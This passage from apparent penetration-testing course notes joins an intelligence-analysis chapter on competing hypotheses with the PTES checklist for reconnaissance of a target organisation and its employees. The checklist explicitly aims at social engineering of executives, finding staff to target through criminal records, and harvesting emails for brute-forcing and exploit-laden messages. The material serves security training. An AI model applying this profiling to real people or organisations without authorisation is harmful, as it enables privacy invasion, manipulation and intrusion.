together a group of analysts with different backgrounds and perspectives. Brainstorming in a group
stimulates the imagination and may bring out possibilities that individual members of the group had not
thought of. Initial discussion in the group should elicit every possibility, no matter how remote, before
judging likelihood or feasibility. Only when all the possibilities are on the table should you then focus on
judging them and selecting the hypotheses to be examined in greater detail in subsequent analysis.

When screening out the seemingly improbable hypotheses that you do not want to waste time
on, it is necessary to distinguish hypotheses that appear to be disproved from those that are simply
unproven. For an unproven hypothesis, there is no evidence that it is correct. For a disproved
hypothesis, there is positive evidence that it is wrong. As discussed in Chapter 4, "Strategies for
Analytical Judgment," and under Step 5 below, you should seek evidence that disproves hypotheses.
Early rejection of unproven, but not disproved, hypotheses biases the subsequent analysis, because one
does not then look for the evidence that might support them. Unproven hypotheses should be kept
alive until they can be disproved.

One example of a hypothesis that often falls into this unproven but not disproved category is
the hypothesis that an opponent is trying to deceive us. You may reject the possibility of denial and
deception because you see no evidence of it, but rejection is not justified under these circumstances. If
deception is planned well and properly implemented, one should not expect to find evidence of it
readily at hand. The possibility should not be rejected until it is disproved, or, at least, until after a
systematic search for evidence has been made and none has been found.

There is no "correct" number of hypotheses to be considered. The number depends upon the
nature of the analytical problem and how advanced you are in the analysis of it. As a general rule, the
greater your level of uncertainty, or the greater the policy impact of your conclusion, the more
alternatives you may wish to consider. More than seven hypotheses may be unmanageable; if there are
this many alternatives, it may be advisable to group several of them together for your initial cut at the
analysis.

Step 2

Make a list of significant evidence and arguments for and against each hypothesis.

In assembling the list of relevant evidence and arguments, these terms should be interpreted
very broadly. They refer to all the factors that have an impact on your judgments about the hypotheses.
Do not limit yourself to concrete evidence in the current intelligence reporting. Also include your own
assumptions or logical deductions about another person's or group's or country's intentions, goals, or
standard procedures. These assumptions may generate strong preconceptions as to which hypothesis is
most likely. Such assumptions often drive your final judgment, so it is important to include them in the
list of "evidence."

First, list the general evidence that applies to all the hypotheses. Then consider each hypothesis
individually, listing factors that tend to support or contradict each one. You will commonly find that each
hypothesis leads you to ask different questions and, therefore, to seek out somewhat different
evidence. 38
 For each hypothesis, ask yourself this question: If this hypothesis is true, what should I expect to
be seeing or not seeing? What are all the things that must have happened, or may still be happening,
and that one should expect to see evidence of? If you are not seeing this evidence, why not? Is it
because it has not happened, it is not normally observable, it is being concealed from you, or because
you or the intelligence collectors have not looked for it?

Note the absence of evidence as well as its presence. For example, when weighing the possibility
of military attack by an adversary, the steps the adversary has not taken to ready his forces for attack
may be more significant than the observable steps that have been taken. This recalls the Sherlock
Holmes story in which the vital clue was that the dog did not bark in the night. One's attention tends to
focus on what is reported rather than what is not reported. It requires a conscious effort to think about
what is missing but should be present if a given hypothesis were true.

Step 3

Prepare a matrix with hypotheses across the top and evidence down the side. Analyze the
"diagnosticity" of the evidence and arguments- that is, identify which items are most helpful in judging
the relative likelihood of alternative hypotheses.

Step 3 is perhaps the most important element of this analytical procedure. It is also the step that
differs most from the natural, intuitive approach to analysis, and, therefore, the step you are most likely
to overlook or misunderstand.

The procedure for Step 3 is to take the hypotheses from Step 1 and the evidence and arguments
from Step 2 and put this information into a matrix format, with the hypotheses across the top and
evidence and arguments down the side. This gives an overview of all the significant components of your
analytical problem.

Then analyze how each piece of evidence relates to each hypothesis. This differs from the
normal procedure, which is to look at one hypothesis at a time in order to consider how well the
evidence supports that hypothesis. That will be done later, in Step 5. At this point, in Step 3, take one
item of evidence at a time, then consider how consistent that evidence is with each of the hypotheses.
Here is how to remember this distinction. In Step 3, you work across the rows of the matrix, examining
one item of evidence at a time to see how consistent that item of evidence is with each of the
hypotheses. In Step 5, you work down the columns of the matrix, examining one hypothesis at a time, to
see how consistent that hypothesis is with all the evidence.

To fill in the matrix, take the first item of evidence and ask whether it is consistent with,
inconsistent with, or irrelevant to each hypothesis. Then make a notation accordingly in the appropriate
cell under each hypothesis in the matrix. The form of these notations in the matrix is a matter of
personal preference. It may be pluses, minuses, and question marks. It may be C, I, and N/A standing for
consistent, inconsistent, or not applicable. Or it may be some textual notation. In any event, it will be a
simplification, a shorthand representation of the complex reasoning that went on as you thought about
how the evidence relates to each hypothesis.

After doing this for the first item of evidence, then go on to the next item of evidence and
repeat the process until all cells in the matrix are filled. Figure 15 shows an example of how such a
matrix might look. It uses as an example the intelligence question that arose after the US bombing of
Iraqi intelligence headquarters in 1993: Will Iraq retaliate? The evidence in the matrix and how it is
evaluated are hypothetical, fabricated for the purpose of providing a plausible example of the
39
procedure. The matrix does not reflect actual evidence or judgments available at that time to the US
Intelligence Community.
 The matrix format helps you weigh the diagnosticity of each item of evidence, which is a key
difference between analysis of competing hypotheses and traditional analysis. Diagnosticity of evidence
is an important concept that is, unfortunately, unfamiliar to many analysts. It was introduced in Chapter
4, and that discussion is repeated here for your convenience.

Diagnosticity may be illustrated by a medical analogy. A high-temperature reading may have

great value in telling a doctor that a patient is sick, but relatively little value in determining which illness
a person is suffering from. Because a high temperature is consistent with so many possible hypotheses
about a patient's illness, this evidence has limited diagnostic value in determining which illness
(hypothesis) is the more likely one.

Evidence is diagnostic when it influences your judgment on the relative likelihood of the various
hypotheses identified in Step 1. If an item of evidence seems consistent with all the hypotheses, it may
have no diagnostic value. A common experience is to discover that most of the evidence supporting
what you believe is the most likely hypothesis really is not very helpful, because that same evidence is
also consistent with other hypotheses. When you do identify items that are highly diagnostic, these
should drive your judgment. These are also the items for which you should re-check accuracy and
consider alternative interpretations, as discussed in Step 6.

In the hypothetical matrix dealing with Iraqi intentions, note that evidence designated "E1" is
assessed as consistent with all of the hypotheses. In other words, it has no diagnostic value. This is
because we did not give any credence to Saddam's public statement on this question. He might say he
will not retaliate but then do so, or state that he will retaliate and then not do it. On the other hand, E4
is diagnostic: increased frequency or length of Iraqi agent radio broadcasts is more likely to be observed
if the Iraqis are planning retaliation than if they are not. The double minus for E6 indicates this is
considered a very strong argument against H1. It is a linchpin assumption that drives the conclusion in
favor of either H2 or H3. Several of the judgments reflected in this matrix will be questioned at a later
stage in this analysis.

In some cases it may be useful to refine this procedure by using a numerical probability, rather
than a general notation such as plus or minus, to describe how the evidence relates to each hypothesis.
To do this, ask the following question for each cell in the matrix: If this hypothesis is true, what is the
probability that I would be seeing this item of evidence? You may also make one or more additional
notations in each cell of the matrix, such as:

Adding a scale to show the intrinsic importance of each item of evidence.

Adding a scale to show the ease with which items of evidence could be concealed, manipulated,
or faked, or the extent to which one party might have an incentive to do so. This may be appropriate
when the possibility of denial and deception is a serious issue.

Step 4

Refine the matrix. Reconsider the hypotheses and delete evidence and arguments that have no
diagnostic value.

The exact wording of the hypotheses is obviously critical to the conclusions one can draw from
the analysis. By this point, you will have seen how the evidence breaks out under each hypothesis, and it
will often be appropriate to reconsider and reword the hypotheses. Are there hypotheses that need to
be added, or finer distinctions that need to be made in order to consider all the significant alternatives?
If there is little orno evidence that helps distinguish between two hypotheses, should they be combined
into one?
40
 Also reconsider the evidence. Is your thinking about which hypotheses are most likely and least
likely influenced by factors that are not included in the listing of evidence? If so, put them in. Delete
from the matrix items of evidence or assumptions that now seem unimportant or have no diagnostic
value. Save these items in a separate list as a record of information that was considered.

Step 5

Draw tentative conclusions about the relative likelihood of each hypothesis. Proceed by trying to
disprove hypotheses rather than prove them.

In Step 3, you worked across the matrix, focusing on a single item of evidence or argument and
examining how it relates to each hypothesis. Now, work down the matrix, looking at each hypothesis as
a whole. The matrix format gives an overview of all the evidence for and against all the hypotheses, so
that you can examine all the hypotheses together and have them compete against each other for your
favor.

In evaluating the relative likelihood of alternative hypotheses, start by looking for evidence or
logical deductions that enable you to reject hypotheses, or at least to determine that they are unlikely. A
fundamental precept of the scientific method is to proceed by rejecting or eliminating hypotheses, while
tentatively accepting only those hypotheses that cannot be refuted. The scientific method obviously
cannot be applied in toto to intuitive judgment, but the principle of seeking to disprove hypotheses,
rather than confirm them, is useful.

No matter how much information is consistent with a given hypothesis, one cannot prove that
hypothesis is true, because the same information may also be consistent with one or more other
hypotheses. On the other hand, a single item of evidence that is inconsistent with a hypothesis may be
sufficient grounds for rejecting that hypothesis. This was discussed in detail in Chapter 4, "Strategies for
Analytical Judgment."

People have a natural tendency to concentrate on confirming hypotheses they already believe
to be true, and they commonly give more weight to information that supports a hypothesis than to
information that weakens it. This is wrong; we should do just the opposite. Step 5 again requires doing
the opposite of what comes naturally.

In examining the matrix, look at the minuses, or whatever other notation you used to indicate
evidence that may be inconsistent with a hypothesis. The hypotheses with the fewest minuses is
probably the most likely one. The hypothesis with the most minuses is probably the least likely one. The
fact that a hypothesis is inconsistent with the evidence is certainly a sound basis for rejecting it. The
pluses, indicating evidence that is consistent with a hypothesis, are far less significant. It does not follow
that the hypothesis with the most pluses is the most likely one, because a long list of evidence that is
consistent with almost any reasonable hypothesis can be easily made. What is difficult to find, and is
most significant when found, is hard evidence that is clearly inconsistent with a reasonable hypothesis.

This initial ranking by number of minuses is only a rough ranking, however, as some evidence
obviously is more important than other evidence, and degrees of inconsistency cannot be captured by a
single notation such as a plus or minus. By reconsidering the exact nature of the relationship between
the evidence and the hypotheses, you will be able to judge how much weight to give it.

Analysts who follow this procedure often realize that their judgments are actually based on very
41
few factors rather than on the large mass of information they thought was influencing their views.
Chapter 5, "Do You Really Need More Information?," makes this same point based on experimental
evidence.

The matrix should not dictate the conclusion to you. Rather, it should accurately reflect your
judgment of what is important and how these important factors relate to the probability of each
hypothesis. You, not the matrix, must make the decision. The matrix serves only as an aid to thinking
and analysis, to ensure consideration of all the possible interrelationships between evidence and
hypotheses and identification of those few items that really swing your judgment on the issue.

When the matrix shows that a given hypothesis is probable or unlikely, you may disagree. If so,
it is because you omitted from the matrix one or more factors that have an important influence on your
thinking. Go back and put them in, so that the analysis reflects your best judgment. If following this
procedure has caused you to consider things you might otherwise have overlooked, or has caused you
to revise your earlier estimate of the relative probabilities of the hypotheses, then the procedure has
served a useful purpose. When you are done, the matrix serves as a shorthand record of your thinking
and as an audit trail showing how you arrived at your conclusion.

This procedure forces you to spend more analytical time than you otherwise would on what you
had thought were the less likely hypotheses. This is desirable. The seemingly less likely hypotheses
usually involve plowing new ground and, therefore, require more work. What you started out thinking
was the most likely hypothesis tends to be based on a continuation of your own past thinking. A
principal advantage of the analysis of competing hypotheses is that it forces you to give a fairer shake to
all the alternatives.

Step 6

Analyze how sensitive your conclusion is to a few critical items of evidence. Consider the
consequences for your analysis if that evidence were wrong, misleading, or subject to a different
interpretation.

In Step 3 you identified the evidence and arguments that were most diagnostic, and in Step 5
you used these findings to make tentative judgments about the hypotheses. Now, go back and question
the few linchpin assumptions or items of evidence that really drive the outcome of your analysis in one
direction or the other. Are there questionable assumptions that underlie your understanding and
interpretation? Are there alternative explanations or interpretations? Could the evidence be incomplete
and, therefore, misleading?

If there is any concern at all about denial and deception, this is an appropriate place to consider
that possibility. Look at the sources of your key evidence. Are any of the sources known to the
authorities in the foreign country? Could the information have been manipulated? Put yourself in the
shoes of a foreign deception planner to evaluate motive, opportunity, means, costs, and benefits of
deception as they might appear to the foreign country.

When analysis turns out to be wrong, it is often because of key assumptions that went
unchallenged and proved invalid. It is a truism that analysts should identify and question assumptions,
but this is much easier said than done. The problem is to determine which assumptions merit
questioning. One advantage of the ACH procedure is that it tells you what needs to be rechecked.

In Step 6 you may decide that additional research is needed to check key judgments. For
example, it may be appropriate to go back to check original source materials rather than relying on
someone else's interpretation. In writing your report, it is desirable to identify critical assumptions that
went into your interpretation and to note that your conclusion is dependent upon the validity of these
42
assumptions.
Step 7

Report conclusions. Discuss the relative likelihood of all the hypotheses, not just the most likely one.

If your report is to be used as the basis for decisionmaking, it will be helpful for the
decisionmaker to know the relative likelihood of all the alternative possibilities. Analytical judgments are
never certain. There is always a good possibility of their being wrong. Decisionmakers need to make
decisions on the basis of a full set of alternative possibilities, not just the single most likely alternative.
Contingency or fallback plans may be needed in case one of the less likely alternatives turns out to be
true.

If you say that a certain hypothesis is probably true, that could mean anywhere from a 55-
percent to an 85-percent chance that future events will prove it correct. That leaves anywhere from a
15-percent to 45 percent possibility that a decision based on your judgment will be based on faulty
assumptions and will turn out wrong. Can you be more specific about how confident you are in your
judgment? Chapter 12, "Biases in Estimating Probabilities," discusses the difference between such
"subjective probability" judgments and statistical probabilities based on data on relative frequencies.

When one recognizes the importance of proceeding by eliminating rather than confirming
hypotheses, it becomes apparent that any written argument for a certain judgment is incomplete unless
it also discusses alternative judgments that were considered and why they were rejected. In the past, at
least, this was seldom done.

The narrative essay, which is the dominant art form for the presentation of intelligence
judgments, does not lend itself to comparative evaluation of competing hypotheses. Consideration of
alternatives adds to the length of reports and is perceived by many analysts as detracting from the
persuasiveness of argument for the judgment chosen. Analysts may fear that the reader could fasten on
one of the rejected alternatives as a good idea. Discussion of alternative hypotheses is nonetheless an
important part of any intelligence appraisal, and ways can and should be found to include it.

Step 8

Identify milestones for future observation that may indicate events are taking a different course than
expected.

Analytical conclusions should always be regarded as tentative. The situation may change, or it
may remain unchanged while you receive new information that alters your appraisal. It is always helpful
to specify in advance things one should look for or be alert to that, if observed, would suggest a
significant change in the probabilities. This is useful for intelligence consumers who are following the
situation on a continuing basis. Specifying in advance what would cause you to change your mind will
also make it more difficult for you to rationalize such developments, if they occur, as not really requiring
any modification of your judgment.

Summary and Conclusion

Three key elements distinguish analysis of competing hypotheses from conventional intuitive
analysis.

Analysis starts with a full set of alternative possibilities, rather than with a most likely alternative
for which the analyst seeks confirmation. This ensures that alternative hypotheses receive equal
treatment and a fair shake.

Analysis identifies and emphasizes the few items of evidence or assumptions that have the
43
greatest diagnostic value in judging the relative likelihood of the alternative hypotheses. In conventional
intuitive analysis, the fact that key evidence may also be consistent with alternative hypotheses is rarely
considered explicitly and often ignored.

Analysis of competing hypotheses involves seeking evidence to refute hypotheses. The most
probable hypothesis is usually the one with the least evidence against it, not the one with the most
evidence for it. Conventional analysis generally entails looking for evidence to confirm a favored
hypothesis.

The analytical effectiveness of this procedure becomes apparent when considering the Indian
nuclear weapons testing in 1998. According to Admiral Jeremiah, the Intelligence Community had
reported that " there was no indication the Indians would test in the near term."86 Such a conclusion by
the Community would fail to distinguish an unproven hypothesis from a disproved hypothesis. An
absence of evidence does not necessarily disprove the hypothesis that India will indeed test nuclear
weapons.

If the ACH procedure had been used, one of the hypotheses would certainly have been that
India is planning to test in the near term but will conceal preparations for the testing to forestall
international pressure to halt such preparations.

Careful consideration of this alternative hypothesis would have required evaluating India's
motive, opportunity, and means for concealing its intention until it was too late for the US and others to
intervene. It would also have required assessing the ability of US intelligence to see through Indian
denial and deception if it were being employed. It is hard to imagine that this would not have elevated
awareness of the possibility of successful Indian deception.

A principal lesson is this. Whenever an intelligence analyst is tempted to write the phrase "there
is no evidence that ...," the analyst should ask this question: If this hypothesis is true, can I realistically
expect to see evidence of it? In other words, if India were planning nuclear tests while deliberately
concealing its intentions, could the analyst realistically expect to see evidence of test planning? The ACH
procedure leads the analyst to identify and face these kinds of questions.

Once you have gained practice in applying analysis of competing hypotheses, it is quite possible
to integrate the basic concepts of this procedure into your normal analytical thought process. In that
case, the entire eight-step procedure may be unnecessary, except on highly controversial issues.

There is no guarantee that ACH or any other procedure will produce a correct answer. The
result, after all, still depends on fallible intuitive judgment applied to incomplete and ambiguous
information. Analysis of competing hypotheses does, however, guarantee an appropriate process of
analysis. This procedure leads you through a rational, systematic process that avoids some common
analytical pitfalls. It increases the odds of getting the right answer, and it leaves an audit trail showing
the evidence used in your analysis and how this evidence was interpreted. If others disagree with your
judgment, the matrix can be used to highlight the precise area of disagreement. Subsequent discussion
can then focus productively on the ultimate source of the differences.

A common experience is that analysis of competing hypotheses attributes greater likelihood to

alternative hypotheses than would conventional analysis. One becomes less confident of what one
thought one knew. In focusing more attention on alternative explanations, the procedure brings out the
full uncertainty inherent in any situation that is poor in data but rich in possibilities. Although such
uncertainty is frustrating, it may be an accurate reflection of the true situation. As Voltaire said, "Doubt
is not a pleasant state, but certainty is a ridiculous one."87

The ACH procedure has the offsetting advantage of focusing attention on the few items of
44
critical evidence that cause the uncertainty or which, if they were available, would alleviate it. This can
guide future collection, research, and analysis to resolve the uncertainty and produce a more accurate
judgment.

Source: https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-
monographs/psychology-of-intelligence-analysis/art11.html

Types of information collected for during penetration testing

Corporate
Physical
Locations

Per location listing of full address, ownership, associated records (city, tax, legal, etc), Full listing of all
physical security measures for the location (camera placements, sensors, fences, guard posts, entry
control, gates, type of identification, supplier’s entrance, physical locations based on IP
blocks/geolocation services, etc… For Hosts/NOC: Full CIDR notation of hosts and networks, full DNS
listing of all associated assets, Full mapping of AS, peering paths, CDN provisioning, netblock owners
(whois data), email records (MX + mail address structure)

• Owner
• Land/tax records
• Shared/individual
• Timezones
• Hosts / NOC

Pervasiveness

It is not uncommon for a target organization to have multiple separate physical locations. For example, a
bank will have central offices, but they will also have numerous remote branches as well. While physical
and technical security may be very good at central locations, remote locations often have poor security
controls.

Relationships

Business partners, customs, suppliers, analysis via whats openly shared on corporate web pages, rental
companies, etc. This information can be used to better understand the business or organizational
projects. For example, what products and services are critical to the target organization?

Also, this information can also be used to create successful social engineering scenarios.

• Relationships

 Manual analysis to vet information from level 1, plus dig deeper into possible
relationships.
• Shared office space
• Shared infrastructure 45

• Rented / Leased Equipment

Logical

Accumulated information for partners, clients and competitors: For each one, a full listing of the
business name, business address, type of relationship, basic financial information, basic hosts/network
information.

• Business Partners

 Target’s advertised business partners. Sometimes advertised on main www.

• Business Clients

 Target’s advertised business clients. Sometimes advertised on main www.

• Competitors

 Who are the target’s competitors. This may be simple, Ford vs Chevy, or may require
much more analysis.
• Touchgraph

A touchgraph (visual representation of the social connections between people) will assist in
mapping out the possible interactions between people in the organization, and how to access
them from the outside (when a touchgraph includes external communities and is created with a
depth level of above 2).
The basic touchgraph should reflect the organizational structure derived from the information
gathered so far, and further expansion of the graph should be based on it (as it usually
represents the focus on the organizational assets better, and make possible approach vectors
clear.

• Hoovers profile

What: a semi-open source intelligence resource (paid subscriptions usually). Such sources
specialize in gathering business related information on companies, and providing a “normalized”
view on the business.
Why: The information includes physical locations, competitive landscape, key personnel,
financial information, and other business related data (depending on the source). This can be
used to create a more accurate profile of the target, and identify additional personnel and 3rd
parties which can be used in the test.

How: Simple search on the site with the business name provide the entire profile of the
company and all the information that is available on it. Its recommended to use a couple of
sources in order to cross reference them and make sure you get the most up-to-date
information. (paid for service).

• Product line

Target's product offerings which may require additional analysis if the target does offer services
46
as well this might require further analysis.
• Market Vertical
 Which industry the target resides in. i.e. financial, defense, agriculture, government, etc
• Marketing accounts

Marketing activities can provide a wealth of information on the marketing strategy of the target
Evaluate all the social media Networks for the target's social personas

Evaluate the target's past * marketing campaigns

• Meetings

Meeting Minutes published?

Meetings open to public?

• Significant company dates

Board meetings
Holidays

Anniversaries

Product/service launch

• Job openings

By viewing a list of job openings at an organization (usually found in a ‘careers’ section of their
website), you can determine types of technologies used within the organization. One example
would be if an organization has a job opening for a Senior Solaris Sysadmin then it is pretty
obvious that the organization is using Solaris systems. Other positions may not be as obvious by
the job title, but an open Junior Network Administrator position may say something to the
effect of ‘CCNA preferred’ or ‘JNCIA preferred’ which tells you that they are either using Cisco or
Juniper technologies.
• Charity affiliations

It is very common for executive members of a target organization to be associated with

charitable organizations. This information can be used to develop solid social engineering
scenarios for targeting executives.
• RFP, RFQ and other Public Bid Information

RFPs and RFQs often reveal a lot of information about the types of systems used by a company,
and potentially even gaps or issues with their infrastructure.
Finding out who current bid winners are may reveal the types of systems being used or a
location where company resources might be hosted off-site.

• Court records

Court records are usually available either free or sometimes at a fee.

Contents of litigation can reveal information
47 about past complainants including but not limited
to former employee lawsuits
 Criminal records of current and past employees may provide a list of targets for social
engineering efforts

• Political donations

Mapping out political donations or other financial interests is important in order to identify
pivotal individuals who may not be in obvious power positions but have a vested interest (or
there is a vested interes in them).
Political donation mapping will change between countries based on the freedom of information,
but often cases donations from other countries can be traced back using the data available
there.

• Professional licenses or registries

Gathering a list of your targets professional licenses and registries may offer an insight into not
only how the company operated, but also the guidelines and regulations that they follow in
order to maintain those licenses. A prime example of this is a companies ISO standard
certification can show that a company follows set guidelines and processes. It is important for a
tester to be aware of these processes and how they could affect tests being performed on the
organization.
A company will often list these details on their website as a badge of honor. In other cases it
may be necessary to search registries for the given vertical in order to see if an organization is a
member. The information that is available is very dependent on the vertical market, as well as
the geographical location of the company. It should also be noted that international companies
may be licensed differently and be required to register with different standards or legal bodies
dependent on the country.
• Org Chart

 Position identification
 Important people in the organization
 Individuals to specifically target
 Transactions
 Mapping on changes within the organization (promotions, lateral movements)
 Affiliates
 Mapping of affiliate organizations that are tied to the business

Electronic

Document Metadata

 What it is? Metadata or meta-content provides

48 information about the data/document in scope. It
can have information such as author/creator name, time and date, standards used/referred,
 location in a computer network (printer/folder/directory path/etc. info), geo-tag etc. For an image
its’ metadata can contain color, depth, resolution, camera make/type and even the co-ordinates
and location information.
 Why you would do it? Metadata is important because it contains information about the internal
network, user-names, email addresses, printer locations etc. and will help to create a blueprint of
the location. It also contains information about software used in creating the respective documents.
This can enable an attacker to create a profile and/or perform targeted attacks with internal
knowledge on the networks and users.
 How you would do it? There are tools available to extract the metadata from the file
(pdf/word/image) like FOCA (GUI-based), metagoofil (python-based), meta-extractor, exiftool (perl-
based). These tools are capable of extracting and displaying the results in different formats as
HTML, XML, GUI, JSON etc. The input to these tools is mostly a document downloaded from the
public presence of the ‘client’ and then analyzed to know more about it. Whereas FOCA helps you
search documents, download and analyzes all through its GUI interface.
Marketing Communications

 Past marketing campaigns provide information for projects which might of been retired that might
still be accessible.
 Current marketing communications contain design components (Colors, Fonts, Graphics etc..) which
are for the most part used internally as well.
 Additional contact information including external marketing organizations.
Infrastructure Assets
Network blocks owned

 Network Blocks owned by the organization can be passively obtained from performing whois
searches. DNSStuff.com is a one stop shop for obtaining this type of information.
 Open Source searches for IP Addresses could yield information about the types of infrastructure at
the target. Administrators often post ip address information in the context of help requests on
various support sites.
Email addresses

 E-mail addresses provide a potential list of valid usernames and domain structure
 E-mail addresses can be gathered from multiple sources including the organizations website.
External infrastructure profile

 The target's external infrastructure profile can provide immense information about the technologies
used internally.
 This information can be gathered from multiple sources both passively and actively.
 The profile should be utilized in assembling an attack scenario against the external infrastructure.
49
Technologies used

 OSINT searches through support forums, mailing lists and other resources can gather information of
technologies used at the target
 Use of Social engineering against the identified information technology organization
 Use of social engineering against product vendors
Purchase agreements

 Purchase agreements contain information about hardware, software, licenses and additional
tangible asset in place at the target.
Remote access

 Obtaining information on how employees and/or clients connect into the target for remote access
provides a potential point of ingress.
 Often times link to remote access portal are available off of the target's home page
 How To documents reveal applications/procedures to connect for remote users
Application usage

Gather a list of known application used by the target organization. This can often be achieved by
extracting metadata from publicly accessible files (as discussed previously)

Defense technologies

Fingerprinting defensive technologies in use can be achieved in a number of ways depending on the
defenses in use.

Passive fingerprinting

 Search forums and publicly accessible information where technicians of the target organisation may
be discussing issues or asking for assistance on the technology in use
 Search marketing information for the target organisation as well as popular technology vendors
 Using Tin-eye (or another image matching tool) search for the target organisations logo to see if it is
listed on vendor reference pages or marketing material
Active fingerprinting

 Send appropriate probe packets to the public facing systems to test patterns in blocking. Several
tools exist for fingerprinting of specific WAF types.
 Header information both in responses from the target website and within emails often show
information not only on the systems in use, but also the specific protection mechanisms enabled
(e.g. Email gateway Anti-virus scanners)
Human capability

Discovering the defensive human capability of a target organization can be difficult. There are several
50 the security of the target organization.
key pieces of information that could assist in judging
 Check for the presence of a company-wide CERT/CSIRT/PSRT team
 Check for advertised jobs to see how often a security position is listed
 Check for advertised jobs to see if security is listed as a requirement for non-security jobs (e.g.
developers)
 Check for out-sourcing agreements to see if the security of the target has been outsourced partially
or in it's entirety
 Check for specific individuals working for the company that may be active in the security community
Financial
Reporting

The targets financial reporting will depend heavily on the location of the organization. Reporting may
also be made through the organizations head office and not for each branch office. In 2008 the SEC
issued a proposed roadmap for adoption of the International Financial Reporting Standards (IFRS) in the
US.

IFRS Adoption per country --> http://www.iasplus.com/en/resources/use-of-ifrs

Market analysis

 Obtain market analysis reports from analyst organizations (such as Gartner, IDC, Forrester, 541,
etc...). This should include what the market definition is, market cap, competitors, and any major
changes to the valuation, product, or company in general.
Trade capital

 Identify is the organization is allocating any trade capital, and in what percentage of the overall
valuation and free capital it has. This will indicate how sensitive the organization is to market
fluctuations, and whether it depends on external investment as part of it's valuation and cash flow.
Value history

 Charting of the valuation of the organization over time, in order to establish correlation between
external and internal events, and their effect on the valuation.
EDGAR (SEC)

 What is it: EDGAR (the Electronic Data Gathering, Analysis, and Retrieval system) is a database of
the U.S. Security and Exchanges Commission (SEC) that contains registration statements, periodic
reports, and other information of all companies (both foreign and domestic) who are required by
law to file.
 Why do it: EDGAR data is important because, in additional to financial information, it identifies key
personnel within a company that may not be otherwise notable from a company’s website or other
public presence. It also includes statements of executive compensation, names and addresses of
major common stock owners, a summary of legal proceedings against the company, economic risk
factors, and other potentially interesting data.
51
 How to obtain: The information is available on the SEC’s EDGAR website
(http://www.sec.gov/edgar.shtml). Reports of particular interest include the 10-K (annual report)
and 10-Q (quarterly report).
Individual

Employee
History

 Court Records
 What is it: Court records are all the public records related to criminal and/or civil complaints,
lawsuits, or other legal actions for or against a person or organization of interest.
 Why you would do it: Court records could potentially reveal sensitive information related to an
individual employee or the company as a whole. This information could be useful by itself or
may be the driver for gaining additional information. It could also be used for social engineering
or other purposes later on in the penetration test.
 How you would do it: Much of this information is now available on the Internet via publicly
available court websites and records databases. Some additional information may be available
via pay services such as LEXIS/NEXIS. Some information may be available via records request or
in person requests.
 Political Donations
 What is it: Political donations are an individual’s personal funds directed to specific political
candidates, political parties, or special interest organizations.
 Why you would do it: Information about political donations could potentially reveal useful
information related to an individual. This information could be used as a part of social network
analysis to help draw connections between individuals and politicians, political candidates, or
other political organizations. It could also be used for social engineering or other purposes later
on in the penetration test.
 How you would do it: Much of this information is now available on the Internet via publicly
available websites (i.e., http://www.opensecrets.org/) that track political donations by
individual. Depending upon the laws of a given state, donations over a certain amount are
usually required to be recorded.
 Professional licenses or registries
 What is it: Professional licenses or registries are repositories of information that contain lists of
members and other related information for individuals who have attained a particular license or
some measure of specific affiliation within a community.
 Why you would do it: Information about professional licenses could potentially reveal useful
information related to an individual. This information could be used to validate an individual's
trustworthiness (do they really have a particular certification as they claim) or as a part of social
network analysisto help draw connections between individuals and other organizations. It could
52
also be used for social engineering or other purposes later on in the penetration test.
  How you would do it: Much of this information is now available on the Internet via publicly
available websites. Typically, each organization maintains their own registry of information that
may be available online or may require additional steps to gather.
Social Network (SocNet) Profile

 Metadata Leakage
 Location awareness via Photo Metadata
 Tone
 Expected deliverable: subjective identification of the tone used in communications – aggressive,
passive, appealing, sales, praising, dissing, condescending, arrogance, elitist, underdog, leader,
follower, mimicking, etc…
 Frequency
 Expected deliverable: Identification of the frequency of publications (once an hour/day/week,
etc…). Additionally - time of day/week in which communications are prone to happen.
 Location awareness

Map location history for the person profiled from various sources, whether through direct
interaction with applications and social networks, or through passive participation through
photo metadata.

 Bing Map Apps

 Foursquare
 Google Latitude
 Yelp
 Gowalla
 Social Media Presence

Verify target’s social media account/presence . And provide detailed analysis

Internet Presence

 Email Address
 What it is? Email addresses are the public mail box ids of the users.
 Why you would do it? Email address harvesting or searching is important because it serves
multiple purposes - provides a probable user-id format which can later be brute-forced for
access but more importantly it helps sending targeted spams and even to automated bots.
These spam emails can contain exploits, malware etc. and can be addressed with specific
content particularly to a user.
 How you would do it? Email addresses can be searched and extracted from various websites,
groups, blogs, forums, social networking portals etc. These email addresses are also available
from various tech support websites. There
53 are harvesting and spider tools to perform search for
email addresses mapped to a certain domain (if needed).
 Personal Handles/Nicknames
 Personal Domain Names registered
 Assigned Static IPs/Netblocks
Physical Location

 Physical Location
 Can you derive the target's physical location
Mobile Footprint

 Phone number
 Device type
 Use
 Installed applications
 Owner/administrator

"For Pay" Information

 Background Checks
 For Pay Linked-In
 LEXIS/NEXIS

Source: http://www.pentest-standard.org/index.php/Intelligence_Gathering

Passive collection of information

Tool Description
Metagoofil Metagoofil is an information gathering tool designed for
extracting metadata of public documents
(pdf,doc,xls,ppt,docx,pptx,xlsx) belonging to a target
company.

Metagoofil will perform a search in Google to identify and

download the documents to local disk and then will extract
the metadata with different libraries like Hachoir,
PdfMiner? and others. With the results it will generate a
report with usernames, software versions and servers or
machine names that will help Penetration testers in the
information gathering phase.

Lecture 2.2 Google for penetration testers

How search engines work
54

1 Introduction
 Engineering a search engine is a challenging task. Search engines index tens to hundreds of
millions of web pages involving a comparable number of distinct terms. They answer tens of millions of
queries every day. Despite the importance of large-scale search engines on the web, very little academic
research has been conducted on them. Furthermore, due to rapid advance in technology and web
proliferation, creating a web search engine today is very different from three years ago. There are
differences in the ways various search engines work, but they all perform three basic tasks:

1. They search the Internet or select pieces of the Internet based on important words.
2. They keep an index of the words they find, and where they find them.
3. They allow users to look for words or combinations of words found in that index.

A search engine finds information for its database by accepting listings sent in by authors who
want exposure, or by getting the information from their "web crawlers," "spiders," or "robots,"
programs that roam the Internet storing links to and information about each page they visit. A
Web crawler is a program that downloads and stores Web pages, often for a Web search engine.
Roughly, a crawler starts off by placing an initial set of URLs, S0, in a queue, where all URLs to be
retrieved are kept and prioritized. From this queue, the crawler gets a URL (in some order), downloads
the page, extracts any URLs in the downloaded page, and puts the new URLs in the queue. This process
is repeated until the crawler decides to stop. Collected pages are later used for other applications, such
as a Web search engine or a Web cache.
The most important measure for a search engine is the search performance, quality of the results and
